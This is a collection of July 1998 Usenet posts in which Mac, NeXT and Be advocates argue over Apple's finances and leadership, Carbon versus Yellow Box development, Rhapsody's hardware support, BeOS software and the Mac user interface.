References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <gmgraves-1607981316130001@sf-pm5-16-80.dialup.slip.net> <35AE858A.2576@betabreakers.com> <stevehix-1607982030060001@ip30.safemail.com> <Pine.BOS.3.96.980717065604.278E-100000@fbnp> <gmgraves-1707981124460001@sf-pm5-10-74.dialup.slip.net>
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George Graves wrote:
>
> In article <Pine.BOS.3.96.980717065604.278E-100000@fbnp>, Tyler Riti
> <fizzboy@mail.utexas.edu> wrote:
>
> > On Thu, 16 Jul 1998, Steve Hix wrote:
> >
> > >> > No, a GUI has failed when it has no MAJOR applications. Be still has no
> > >> > support from the major players.
> > >
> > >> So Sun, SGi and HP have all "failed" cause they dont have suport from MS
> > >> or other people that rigth the crap we all have to use at our office?
> > >
> > >Sun and HP *are* "major players".
> >
> > Be has support from Intel. Is that major enough for you?
>
> Intel writes applications? Gee, I didn't know that!
>
> L-E-A-R-N T-O R-E-A-D
>
> George Graves
Yea and I use my Sun apps all the time.. Oh wait, they only have an OS
and development tools.
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Fri, 17 Jul 1998 15:37:43 -0500
Organization: Prairie Group
Message-ID: <MPG.1019720bcc4f9be29899ab@news.supernews.com>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <MPG.10109df7848fcd95989975@news.supernews.com> <6okme4$10j$1@ironhorse.plsys.co.uk> <MPG.1017c256f4f19f59899a4@news.supernews.com> <6oo3q7$4h1$2@ironhorse.plsys.co.uk>
In article <6oo3q7$4h1$2@ironhorse.plsys.co.uk>, malcolm@plsys.co.uk
says...
> In <MPG.1017c256f4f19f59899a4@news.supernews.com> Donald Brown wrote:
> > In article <6okme4$10j$1@ironhorse.plsys.co.uk>, malcolm@plsys.co.uk
> > says...
> > > In <MPG.10109df7848fcd95989975@news.supernews.com> Donald Brown wrote:
> > > > If you are starting a product now, the best API is Carbon.
> > > >
> > > I'd modify that to: if you are starting a project now which is to have
> > > mass-market appeal and which will ship within the next 12 months, then go
> > > with Carbon. If you can be more tightly focussed (e.g. if you have a
> mission
> > > critical app and you're able to specify the h/w and OS the client will
> use),
> > > or you're looking at longer timescales, then go with Yellow.
> >
> > I'll agree with half of your modification. If it is a mission critical
> > app, Yellow can work. I'm not sure how longer of a timescale is
> > involved. All 68k machines will forever be left out in the cold, all
> > Nubus PPC machines will forever be left out in the cold, and we've been
> > told we can't count on any non-G3 machines avoiding being forever left
> > out in the cold. It's going to take a long time for all of those
> > machines to no longer be a market force.
> >
> OK, I think we're moving toward consensus :-)
> Yes, I'm considering only products which will be aimed at people with
> up-to-date hardware; judging by Apple's ongoing resurgence, it seems to me
> that that's a fairly healthy marketplace. If you're aiming for broader
> coverage, then again Carbon will probably be the way to go (however --
> serious question -- does MacOS 8.5 run on '040-based systems? If not you'll
> be back to MacOS APIs...)
Nope, but I should be more clear (I've explained this in great detail in
another thread a few months ago, weren't you LISTENING <grin>).
The advantage of Carbon is that I can use one source for both MacOS
7.x/8.x, and for Carbon, using Conditional Compiliation to create the
different versions. So, while features specific to Carbon will be left
out of the older version, I can still build a 7.x version that will get
the bugfixes and new features that are added as we move our products
forward.
With YellowBox, they will be completely separate code bases between the
version for system 7.x and for X. Much harder to carry forward.
> > > > If and when YellowBox for MacOS7.x/8.x
> > > >
> > > I don't think Yellow was ever promised for 7.x, and it looks like Apple
> > > decided that 8.x just isn't up to the task of hosting YB, so it's easier
> to
> > > migrate to MacOS X instead.
> >
> [In light of a message posted elsewhere, maybe I'd better rephrase this... I
> suspect that MacOS could be made to run YB (cf the fact that it runs on
> Windows 95, not renowned for its technical superiority), but the effort
> required to get the two to work is together is far more than producing MacOS
> X, which is a much better solution.]
I think Win95 does have preemptive multitasking. No protected memory,
but multitasking.
> > > Umm, you can already see what a YB Windows app looks like -- it's a
> shipping
> > > product in the form of OPENSTEP Enterprise. We have a number of
> customers
> > > using it very successfully right now. Commercial viability will be
> changed
> > > for the better when Apple alters the licensing structure -- it's set to
> come
> > > below $20/seat, which is an order of magnitude lower than it is at
> present.
> >
> > Where can I get a demo of it? I want to see if the UI is Windows-like,
> > and how much disk space/RAM it uses.
> >
> You can already *buy* the product (it's been on sale for a couple of years)
> as OPENSTEP/Enterprise.
>
> OPENSTEP/YB applications running on Windows look just like any other Windows
> application. The runtime takes about 8MB RAM (IIRC, corrections welcome),
> and is installed pretty much like any other set of Windows DLLs. At 8MB you
> could argue that the runtime does impose a significant hit, and I'd probably
> concede that if you're running just one app. Since this is a shared library,
> however, and since YB applications tend to have very modest resource
> requirements (because they depend heavily on the shared libraries), once you
> start using 2 or more YB apps the comparative overall "hit" is much reduced.
As a separate app, I don't think we could assume there would be multiple
YB apps. 8MB would be painful, but not impossible.
> > Although, without the YellowBox for Mac, it's from curiosity only. If
> > OpenStep is a development environment for Windows and a small percentage
> > of Mac users, it won't make sense for my business.
> >
> Well, that depends on what sort of Windows development you do... I'd suggest
> reading Lionel Costa's excellent article:
>
> The Yellow Trojan Horse
> http://www.stepwise.com/Articles/Technical/TrojanHorse.html
I'm pretty happy with BCB. I'll take your word that OpenStep is better,
unless you need to get very close to the OS (does it support things like
system-wide hot keys? Hiding the app from the task bar? Icons in the
system tray?
Donald
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Fri, 17 Jul 1998 09:27:33 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-1707980927330001@dante.eng.uci.edu>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com> <B1CC45E8-D794A@206.165.43.3> <6od786$g3$1@server.signat.org> <joe.ragosta-1307981231290001@wil55.dol.net> <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <6og79u$pg8$1@vixen.cso.uiuc.edu> <35ABA71F.64A649B5@ericsson.com> <joe.ragosta-1407981638020001@wil37.dol.net> <35ABD8E4.7E40F57F@ericsson.com> <gmgraves-1507981200570001@sf-usr1-30-158.dialup.slip.net> <6oj5a0$goe$1@hole.sdsu.edu> <19980716135346246924@slip-32-100-222-17.wa.us.ibm.net> <gmgraves-1607982146050001@sf-pm5-7-71.dialup.slip.net> <199807170824012819540@slip129-37-241-229.wa.us.ibm.net>
In article <199807170824012819540@slip129-37-241-229.wa.us.ibm.net>,
shawnm@snd.net (Shawn M.) wrote:
>> That would be true in any OTHER company, not at Apple. Scully and Spindler
>> lacked two things to be effective CEOs (1) a clue, (2) any real power.
>> Management by concensus, might, as I said earlier, work in political
>> organizations, but in business it doesn't work at all.
>
>I don't agree with your theory as it applies to Apple. If it were true,
>Steve Jobs would not have the affect he's having now. He's the [acting]
>CEO and he's single handedly made lots of big decisions that affect
>Apple's future. Apple obviously isn't run by consensus anymore--at
>least not with Jobs in charge.
No, he's right.
Apple isn't run by concensus because Steve and the board won't allow it.
Interim or not, Jobs is running the show. I think he probably is doing a
better job of listening to his key people, forming a solid strategy, and
standing by it. Steve is the guy that says 'no'. There wasn't much of that
before. Engineers would do what they wanted. They would offer ideas and
just run with them. No longer. You work on the plans as laid out by the
executive team, nothing else. That is _really_ new for Apple.
-Bob Cassidy
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Profits up, revenues continue to slide
Date: 17 Jul 1998 20:57:46 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6oodsa$nr6$1@lwnws01.ne.highway1.com>
References: <6oj739$aqu$1@lwnws01.ne.highway1.com> <rmcassid-1507981623500001@dante.eng.uci.edu> <6ojtmb$otj$2@lwnws01.ne.highway1.com> <rmcassid-1607980934480001@dante.eng.uci.edu> <6olevn$pgd$2@lwnws01.ne.highway1.com> <id_est-1607982337110001@192.168.1.3> <6omp04$m5t$1@lwnws01.ne.highway1.com> <id_est-1707980328040001@192.168.1.3> <6omvac$q8u$1@lwnws01.ne.highway1.com> <rZIr1.10$57.302713@wagner.videotron.net>
email@end.of.post (Raymond Lutz) wrote:
> It's rhetorical, John (preterition if I recall)
>
> :)
>
> Ray
>
> PS: now, *that's* noise. I am not going to add more noise in this
> already saturated group.
:) C'mon, it's usenet. Plenty of room for more of that. :)
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Fri, 17 Jul 1998 13:53:37 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-1707981353370001@dante.eng.uci.edu>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <gmgraves-1407980916110001@sf-usr1-43-171.dialup.slip.net> <6oggrh$ed9$1@news.digifix.com> <gmgraves-1507981145460001@sf-usr1-30-158.dialup.slip.net> <6oj36m$bgq$1@news.digifix.com> <gmgraves-1607981329400001@sf-pm5-16-80.dialup.slip.net> <6olsfi$jeh$3@server.signat.org> <gmgraves-1607982131240001@sf-pm5-7-71.dialup.slip.net> <joe.ragosta-1707980623560001@elk84.dol.net> <gmgraves-1707981044290001@sf-pm5-10-74.dialup.slip.net>
In article <gmgraves-1707981044290001@sf-pm5-10-74.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
>Yes, Apple has had three profitable quarters, but the revenues are STILL
>falling (down 19.3% this last quarter -that's a BIG drop). It means that
>Apple must have made the profit from cost cutting. This is while the rest
>of the computer industry (with a few notable exceptions) was experiencing
>double-digit growth.
Apple also killed off many product divisions - printers, scanners,
cameras, etc. etc. Those contributed nicely to the revenues a year ago,
but also helped keep Apple from being profitable.
From a year ago, the number of units shipped was off 8%. The price per
unit was off 18%.
Apple's per unit price is coming down in line with the PC market while
it's margins are increasing. That's a good sign. The units are off a bit
(not so good) but Apple clearly sacrificed this past quarter for the
future benefit of the iMac. Blowing the Powerbooks was bad, though.
Cost of operations only dropped slightly over last quarter. $290M per
quarter seems like the bottom of costs for Apple. If they can maintain the
margin at 24% then then need revenues of just $1.2B to break even. With an
average unit price dropping to $2000, they need to sell 600,000
systems/quarter. If that drops to $1750, then they need to sell 685,000.
They've been pretty flat the last 4 quarters (625,000-650,000) so it seems
that they have things under control now - profitability is not an issue so
long as they keep things as they are. iMac _should_ boost units
considerably - I'm was hoping for 200,000 above current levels, but with
the new Pro G3s not rolling out until Seybold, I think we should be
pleased with 100,000 (350,000 iMacs and 350,000 Powerbooks/G3s/AIOs/etc.).
Powerbooks will hopefully provide a boost. Apple might also get some big
education contracts in there.
The quarter following next is the most promising as new pro systems should
be out the whole quarter and the iMac will be in full swing for xMas. Also
8.5 sales, and whatever they can scrape up for Mac OS X server, ASIP 6, WO
4, etc.
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Profits up, revenues continue to slide
Date: Fri, 17 Jul 1998 10:00:37 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-1707981000370001@dante.eng.uci.edu>
References: <rmcassid-1507981623500001@dante.eng.uci.edu> <6ojtmb$otj$2@lwnws01.ne.highway1.com> <rmcassid-1607980934480001@dante.eng.uci.edu> <edewEw7oyB.3u3@netcom.com>
In article <edewEw7oyB.3u3@netcom.com>, edew@netcom.com (Eric Dew) wrote:
>Remember, the LAST thing a company should do when sales are
>slow is to drop prices (unless they're selling commodities). Either
>add features, change marketing strategy, or drop the product, but dropping
>prices is the best indicator of a struggling company.
True, but if Apple can get the price down there and still demonstrate
quality, then they have created a new market with entirely new customers,
a market which they own.
Steve's 8 wristwatch story (which is highly random for him, IMO) should
warn us that he's looking very much at an appliance future for Apple where
computers are as common (in number as well) in the household as TVs.
He's not looking to convert PC people into Mac people, but rather to
convince them that 1 computer isn't enough and that they should own more.
The more should be from Apple (because it is cheap and reliable and
compatable) even if the original one is a PC (for whatever reasons).
Bill's goal is a computer in every house running Microsoft software.
Steve's goal is a computer in every room that is cheap and reliable.
Do a quicky survey of iMac interest. A _lot_ of it is as a 2nd or 3rd
computer - for the wife, or the kids, or just to get email while you
rewire your PC.
-Bob Cassidy
From: Tom Harrington <tph@rmi.net>
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: 17 Jul 1998 21:05:04 GMT
Organization: Rocky Mountain Internet - 1(800)-900-RMII
Message-ID: <6ooea0$9gu$1@news1.rmi.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <Josh.McKee-1307982004310001@pm3a3.rmac.net> <6og3pl$eqq2@eccws1.dearborn.ford.com> <Josh.McKee-1407981859100001@pm3a4.rmac.net>
User-Agent: tin/pre-1.4-980105 (UNIX) (SunOS/5.5 (i86pc))
Joshua T. McKee (Josh.McKee@cbns.com) wrote:
: In article <6og3pl$eqq2@eccws1.dearborn.ford.com>, tph@rmi.net wrote:
: > Joshua T. McKee (Josh.McKee@cbns.com) wrote:
: [ Snip - my comments about Apple and Rhapsody ]
: > You're confused. MacOS X has not replaced Rhapsody. MacOS X is
: > basically Rhapsody 2.0. The initial release of Rhapsody is still
: > planned for later this year, and is the same system that they've
: > promised all along. Rhapsody _will_ run on the Macs shipping at
: > the time of the initial announcement, or most of them at least,
: > because the current developer release already does. You're upset
: > at losing something that is not actually gone.
: No confusion at all. If OS X is to be Rhapsody 2.0, and Rhapsody 1.0 will
: run on pre-G3 Macs, then it appears that Apple isn't living up to it's
: promise.
Explain the reasoning behind this. The promise, as I heard it, was
that Rhapsody would run on Macs shipping as of January 1997. It now
appears that Rhapsody 1.0 will do exactly that. Or in other words,
it'll do exactly what they said it would. Where's the breach of
promise?
: Sure, Rhapsody "1.0" will run on pre-G3 Macs...big deal if it is
: DOA...which is effectively what Apple has done to it. I can't see any
: future in the "1.0" version of Rhapsody.
Fair enough. But I don't believe that anyone ever promised a specific
number of revisions of Rhapsody on the pre-G3 Power Macs. I agree
that it will really stink if MacOS X/Rhapsody 2.0 won't run on systems
like the 8600, and I think it would be a bad move on Apple's part if
this happens. But it doesn't look like any sort of breached promise
if it happens. Stupid, yes, but not a broken promise.
--
Tom "Tom" Harrington ---- tph@rmii.com ---- http://rainbow.rmii.com/~tph
"The stupider it looks, the more important it probably is."
-J.R. "Bob" Dobbs, The Book of the SubGenius
Cookie's Revenge: ftp://ftp.rmi.net/pub2/tph/cr/cookies-revenge.sit.hqx
From: Barry Friedman <friedman@cisco.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: It doesn't add up
Date: Fri, 17 Jul 1998 14:02:01 -0700
Organization: Cisco Systems
Message-ID: <35AFBBC9.A6EFF88C@cisco.com>
References: <35AEFD5C.6D10D573@alum.mit.edu>
Mime-Version: 1.0
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Eric Hermanson wrote:
>
> Either Microsoft is charging $150/copy for Windows 98 (which we know isn't true,
> because you can get it for under $80 in most outlets), or, Microsoft is
> completely making up their Windows 98 sales and revenues numbers:
>
> From http://cnnfn.com/digitaljam/9807/16/microsoft
>
> "Microsoft said more than 1 million copies of Windows 98 were sold in North
> America since the product's June 25 release, generating $150 million in revenues
> during the quarter."
I heard reports that MS support was getting lots of calls from
Win98 customers.
My guess is:
$50 million revenue from Win98 sales
$100 million revenue from billing for Win98 support calls
----
$150 million total
:-)
Barry
From: Tom Harrington <tph@rmi.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: 17 Jul 1998 21:08:46 GMT
Organization: Rocky Mountain Internet - 1(800)-900-RMII
Message-ID: <6ooegu$9gu$2@news1.rmi.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <not-1407981111160001@2-25.phx.psn.net> <1dc6e9x.i3kt8jnbcj06N@ip70.albnxr1.ras.tele.dk> <6omdn7$o8c$1@news00.btx.dtag.de>
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User-Agent: tin/pre-1.4-980105 (UNIX) (SunOS/5.5 (i86pc))
In comp.sys.mac.system Lars Tr?ger <Fam.Traeger@t-online.de> wrote:
: Per Erik Rønne <xerxes@diku.dk> wrote:
:> UNIX has always had protected memory.
: Nixen on early PCs (e.g. XENIX) certainly did not.
I guess that begs the question, when is an operating system "UNIX",
and when is it "UNIX-like"? I'd suggest that if Xenix had no
protected memory, then the most you could reasonably claim is that
it was "UNIX-like".
--
Tom "Tom" Harrington ---- tph@rmii.com ---- http://rainbow.rmii.com/~tph
A society without religion is like a crazed psychopath without a loaded .45
-StukaFox (stukafox@shellx.best.com)
Cookie's Revenge: ftp://ftp.rmi.net/pub2/tph/cr/cookies-revenge.sit.hqx
From: Tom Harrington <tph@rmi.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: 17 Jul 1998 21:09:54 GMT
Organization: Rocky Mountain Internet - 1(800)-900-RMII
Message-ID: <6ooej2$9gu$3@news1.rmi.net>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <6og79u$pg8$1@vixen.cso.uiuc.edu> <35ABA71F.64A649B5@ericsson.com> <joe.ragosta-1407981638020001@wil37.dol.net> <35ABD8E4.7E40F57F@ericsson.com> <gmgraves-1507981200570001@sf-usr1-30-158.dialup.slip.net> <6oj5a0$goe$1@hole.sdsu.edu> <19980716135346246924@slip-32-100-222-17.wa.us.ibm.net> <stevehix-1607982026390001@ip30.safemail.com>
User-Agent: tin/pre-1.4-980105 (UNIX) (SunOS/5.5 (i86pc))
In comp.sys.mac.system Steve Hix <stevehix@safemail.com> wrote:
: In article <19980716135346246924@slip-32-100-222-17.wa.us.ibm.net>,
: shawnm@snd.net (Shawn M.) wrote:
:> Gassee was NEVER the CEO of Apple.
: Then who *was* CEO between Scully and Spindler?
The same person who was President of the USA between George Bush and
Bill Clinton: Nobody. Spindler succeeded Sculley.
--
Tom "Tom" Harrington ---- tph@rmii.com ---- http://rainbow.rmii.com/~tph
"Please, if it's not too late: Make it a cheeseburger." -Lyle Lovett
Cookie's Revenge: ftp://ftp.rmi.net/pub2/tph/cr/cookies-revenge.sit.hqx
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 17 Jul 1998 20:38:14 GMT
Organization: wazza?
Message-ID: <6oocnm$6p5$1@server.signat.org>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com>
<35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com>
<macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com>
<gmgraves-1407980916110001@sf-usr1-43-171.dialup.slip.net> <6oggrh$ed9$1@news.digifix.com>
<gmgraves-1507981145460001@sf-usr1-30-158.dialup.slip.net> <6oj36m$bgq$1@news.digifix.com>
<gmgraves-1607981329400001@sf-pm5-16-80.dialup.slip.net> <6olsfi$jeh$3@server.signat.org>
<gmgraves-1607982131240001@sf-pm5-7-71.dialup.slip.net> <joe.ragosta-1707980623560001@elk84.dol.net>
<gmgraves-1707981044290001@sf-pm5-10-74.dialup.slip.net>
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Cc: gmgraves@slip.net
In <gmgraves-1707981044290001@sf-pm5-10-74.dialup.slip.net> George Graves
wrote:
> Grannted, Steve has done much to improve those areas, but like I asked in
> an earlier post, when Steve leaves, then what?
Well that's really not an issue worth asking IMHO. You're assuming he's
still actively attempting or planning to do so. Do you have any reason to
suspect this? Has he interviewed any new candiates recently? Has he
> Yes, Apple has had three profitable quarters, but the revenues are STILL
> falling (down 19.3% this last quarter -that's a BIG drop).
A look at the charts shows this to be pretty much meaningless actually.
The quarter to quarter fluctuation is higher than this drop, so attempting to
draw this conclusion is hard to do.
> Apple must have made the profit from cost cutting.
And better margins.
> Joe, everything that Jobs has done for Apple is a short-term only strategy.
iMac is not a short term strategy. TV ads are not a short term strategy.
MacOS-X is not a short term strategy. Sorry, you're wrong. Sure he did
things that WERE short term in nature, but they had to. He had the guts to
do it. But characterizing this solely as short term is short-sighted.
> Long-run, as I see it, Apple is still in deep trouble.
No, I think it's more like they _could_ still be in deep trouble. IE, they
are at a cust point. If the iMac sells well I think they are out of the
woods, if it doesn't they're in deeper. They also need to ensure that the
games sell well off the shelves, or they're in trouble there too, this is
their last gasp in that market.
However to characterize them as _currently_ in deep trouble, as you do, is
unfair, and IMHO, unrealistic. Further, to assume it, and then draw the
conclusions you do about Jobs is just as unfair.
> the Mac, ever, I simply don't see any way for either Apple or the Mac to
survive
> long-term.
Let's hope Apple management disagrees with you.
Maury
Message-ID: <35AFC01F.1739@REMOVE.wayne.edu>
From: Eric Iverson <eric_iverson@REMOVE.wayne.edu>
Organization: WSU
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <gmgraves-1607981316130001@sf-pm5-16-80.dialup.slip.net> <35AE858A.2576@betabreakers.com> <gmgraves-1607982149230001@sf-pm5-7-71.dialup.slip.net> <6omnn1$o03$1@news2.ispnews.com> <gmgraves-1707981117140001@sf-pm5-10-74.dialup.slip.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Date: Fri, 17 Jul 1998 21:19:44 GMT
NNTP-Posting-Date: Fri, 17 Jul 1998 17:19:44 EDT
George Graves wrote:
>
> In article <6omnn1$o03$1@news2.ispnews.com>, Earl Malmrose
> <malmrose@nospam.jetcity.com> wrote:
>
> > gmgraves@slip.net (George Graves) :
> > > Care to tell
> > > me the names of any REAL, useful software on Be?
> >
> > Here are some REAL, useful pieces that I use regularly:
> > Code Warrior
> > NetPositive
> > BeInformed
> > GobeProductive
> >
> Code Warrior is a development package.
BFD.
> I've looked at GoBeProductive. Pretty lame if you ask me.
> I haven't seen the other two.
>
> George Graves
Oh, excuse us! George thinks it's lame! Oh boo-hoo!
I guess we'll all have to try harder to satisfy George!
If you haven't seen NetPositive, you've never used the BeOS.
Excuse me while I go use MacPaint 1.0 and MacWrite 1.0,
now there's some REAL useful software.
--Eric
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
From: shawnm@snd.net (Shawn M.)
Date: Fri, 17 Jul 1998 14:37:57 -0700
Message-ID: <19980717143757424354@slip-32-100-148-121.wa.us.ibm.net>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com> <B1CC45E8-D794A@206.165.43.3> <6od786$g3$1@server.signat.org> <joe.ragosta-1307981231290001@wil55.dol.net> <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <6og79u$pg8$1@vixen.cso.uiuc.edu> <35ABA71F.64A649B5@ericsson.com> <joe.ragosta-1407981638020001@wil37.dol.net> <35ABD8E4.7E40F57F@ericsson.com> <gmgraves-1507981200570001@sf-usr1-30-158.dialup.slip.net> <6oj5a0$goe$1@hole.sdsu.edu> <19980716135346246924@slip-32-100-222-17.wa.us.ibm.net> <gmgraves-1607982146050001@sf-pm5-7-71.dialup.slip.net> <199807170824012819540@slip129-37-241-229.wa.us.ibm.net> <rmcassid-1707980927330001@dante.eng.uci.edu>
Organization: SND, Illchester, MD
Robert Cassidy <rmcassid@uci.edu> wrote:
> In article <199807170824012819540@slip129-37-241-229.wa.us.ibm.net>,
> shawnm@snd.net (Shawn M.) wrote:
>
> >> That would be true in any OTHER company, not at Apple. Scully and Spindler
> >> lacked two things to be effective CEOs (1) a clue, (2) any real power.
> >> Management by concensus, might, as I said earlier, work in political
> >> organizations, but in business it doesn't work at all.
> >
> >I don't agree with your theory as it applies to Apple. If it were true,
> >Steve Jobs would not have the affect he's having now. He's the [acting]
> >CEO and he's single handedly made lots of big decisions that affect
> >Apple's future. Apple obviously isn't run by consensus anymore--at
> >least not with Jobs in charge.
>
> No, he's right.
>
> Apple isn't run by concensus because Steve and the board won't allow it.
> Interim or not, Jobs is running the show. I think he probably is doing a
> better job of listening to his key people, forming a solid strategy, and
> standing by it. Steve is the guy that says 'no'. There wasn't much of that
> before. Engineers would do what they wanted. They would offer ideas and
> just run with them. No longer. You work on the plans as laid out by the
> executive team, nothing else. That is _really_ new for Apple.
I'm not disputing any of that. Mr. Graves was saying that Apple is run
by consensus. He didn't use past tense, he used present tense. I'm
saying that obviously isn't the case anymore.
--
"All that we love deeply becomes a part of us" (author unknown)
From: mNOSPAMroeder@macromedia.com (Michael Roeder)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Wed, 15 Jul 1998 14:07:02 -0700
Organization: Macromedia
Message-ID: <mNOSPAMroeder-1507981407020001@192.168.21.170>
References: <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu>
In article <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu>,
pulsar@springnet1.com (Pulsar) wrote:
> In article <mNOSPAMroeder-1407981257200001@192.168.21.171>,
> mNOSPAMroeder@macromedia.com (Michael Roeder) wrote:
>
> > In article <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu>,
> > Pulsar <tokarek@uiuc.edu> wrote:
> >
> > > On 14 Jul 1998, John Kheit wrote:
> > >
> > > I think John is refering to the fact that Apple is not significantly
> > > advancing or replacing the same old Mac OS UI. Mac OS X and Rhapsody don't
> > > have any UI direction shifts. Little attempt was apparently made to
> > > improve the Mac OS UI and the NeXT UI.
> >
> > That's because the Mac UI works well and people know it.
>
> Are you suggesting that the Mac UI is the epitome of UIs and that no
> significant improvement is possible?
Nope. I'm suggetsing that it's very well designed, that users are familiar
and comfortable with it, it's easy to learn, and it has room for
improvements as new programming concepts come along that require new UI
ideas. Barring a fundamental change in the way people interact with
computers (we use applications to create and edit documents which we store
in a heirarchical structure), the Mac UI will continue to *evolve* rather
than inflicting major changes with every release as Windows has
historically done.
> > > At best, Apple is using some of the
> > > better features from both, but isn't pushing any truly interesting and
> > > useful, new concepts.
> >
> > Like what?
>
> I don't know specifically.
That's my point. What truly interesting and useful new concepts do you
want to see in the Macintosh UI?
>Apple has introduced nothing revolutionary in a
> long time as it did with the Macintosh when it first came out.
That's because the original design was expandable and new features have
been added as subtle changes to the UI.
> OpenDoc was interesting. A document centered way of computing was new. It
> was slow and wasn't always stable, but the idea was great and could have
> fueled a shift in the way we use our computers. Unfortunately Apple killed
> that.
Why is such a shift necessary? What problem would it solve? Neither
OpenDoc nor OLE received tremendous support from applications developers.
I used CyberDog, a pretty cool OpenDoc application, for a while, but it
didn't interact very well with other applications.
